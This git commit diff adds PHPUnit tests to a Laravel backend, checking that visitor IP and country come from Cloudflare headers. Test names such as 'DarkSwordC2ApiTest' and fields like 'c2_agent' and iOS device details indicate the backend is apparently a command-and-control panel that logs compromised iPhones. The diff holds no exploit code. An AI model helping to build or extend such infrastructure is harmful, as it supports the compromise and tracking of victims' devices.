This commit is contained in:
hashbro
2026-09-19 01:03:23 +08:00
parent 2729fd561b
commit 5be0313ccd
17 changed files with 180 additions and 34 deletions
+23 -1
View File
@@ -223,10 +223,32 @@ class DarkSwordC2ApiTest extends TestCase
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame('iPhone15,2', $device->device_model);
$this->assertSame('18.6', $device->ios_version);
$this->assertSame('192.168.31.77', $device->ip);
$this->assertSame('127.0.0.1', $device->ip);
$this->assertNull($device->channel_id);
}
#[Test]
public function plaintext_a_uses_cf_connecting_ip_not_body_ip(): void
{
$this->call('POST', '/a', [], [], [], [
'CONTENT_TYPE' => 'application/json',
'HTTP_CF_CONNECTING_IP' => '203.0.113.88',
'HTTP_X_FORWARDED_FOR' => '1.2.3.4',
'HTTP_CF_IPCOUNTRY' => 'JP',
], json_encode([
'lhu' => self::DS_LHU,
'machine' => 'iPhone15,2',
'ios_version' => '18.6',
'ip' => '192.168.31.77',
'source' => 'c2_agent',
], JSON_THROW_ON_ERROR))->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame('203.0.113.88', $device->ip);
$this->assertSame('JP', $device->country);
}
#[Test]
public function shared_path_with_x_ts_still_uses_xxbb_ack(): void
{
+3
View File
@@ -28,11 +28,14 @@ class DeviceCountryTest extends TestCase
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => $ts,
'HTTP_CF_IPCOUNTRY' => 'US',
'HTTP_CF_CONNECTING_IP' => '203.0.113.44',
'HTTP_X_FORWARDED_FOR' => '1.2.3.4',
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('US', $device->country);
$this->assertSame('203.0.113.44', $device->ip);
$this->assertStringContainsString('(美国)', $device->formattedIp());
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
+19
View File
@@ -124,6 +124,25 @@ class PageVisitTest extends TestCase
$this->assertSame('203.0.113.50', $row->ip);
}
#[Test]
public function hit_prefers_cf_connecting_ip_over_x_forwarded_for(): void
{
Cache::flush();
$this->call('GET', '/statistic/t', [
'c' => self::CHANNEL,
'u' => '11111111-2222-4333-8444-555555555555',
], [], [], [
'REMOTE_ADDR' => '104.16.1.1',
'HTTP_X_FORWARDED_FOR' => '1.2.3.4',
'HTTP_CF_CONNECTING_IP' => '203.0.113.88',
])->assertOk();
$row = PageVisit::query()->first();
$this->assertNotNull($row);
$this->assertSame('203.0.113.88', $row->ip);
}
#[Test]
public function hit_stores_cf_ipcountry(): void
{
+54
View File
@@ -0,0 +1,54 @@
<?php
namespace Tests\Unit;
use App\Support\VisitorIp;
use Illuminate\Http\Request;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class VisitorIpTest extends TestCase
{
#[Test]
public function prefers_cf_connecting_ip_over_xff_and_true_client_ip(): void
{
$request = Request::create('/', 'GET', [], [], [], [
'REMOTE_ADDR' => '104.16.1.1',
'HTTP_X_FORWARDED_FOR' => '1.2.3.4, 203.0.113.50',
'HTTP_TRUE_CLIENT_IP' => '198.51.100.9',
'HTTP_CF_CONNECTING_IP' => '203.0.113.77',
]);
$this->assertSame('203.0.113.77', VisitorIp::fromRequest($request));
}
#[Test]
public function falls_back_to_true_client_ip_then_remote_addr(): void
{
$trueClient = Request::create('/', 'GET', [], [], [], [
'REMOTE_ADDR' => '104.16.1.1',
'HTTP_X_FORWARDED_FOR' => '1.2.3.4',
'HTTP_TRUE_CLIENT_IP' => '198.51.100.9',
]);
$this->assertSame('198.51.100.9', VisitorIp::fromRequest($trueClient));
$direct = Request::create('/', 'GET', [], [], [], [
'REMOTE_ADDR' => '127.0.0.1',
]);
$this->assertSame('127.0.0.1', VisitorIp::fromRequest($direct));
}
#[Test]
public function ignores_invalid_cf_header_and_unwraps_mapped_ipv6(): void
{
$invalid = Request::create('/', 'GET', [], [], [], [
'REMOTE_ADDR' => '127.0.0.1',
'HTTP_CF_CONNECTING_IP' => 'not-an-ip',
]);
$this->assertSame('127.0.0.1', VisitorIp::fromRequest($invalid));
$this->assertSame('203.0.113.9', VisitorIp::normalize('::ffff:203.0.113.9'));
$this->assertSame('203.0.113.9', VisitorIp::normalize('203.0.113.9, 10.0.0.1'));
$this->assertSame('', VisitorIp::normalize('unknown'));
}
}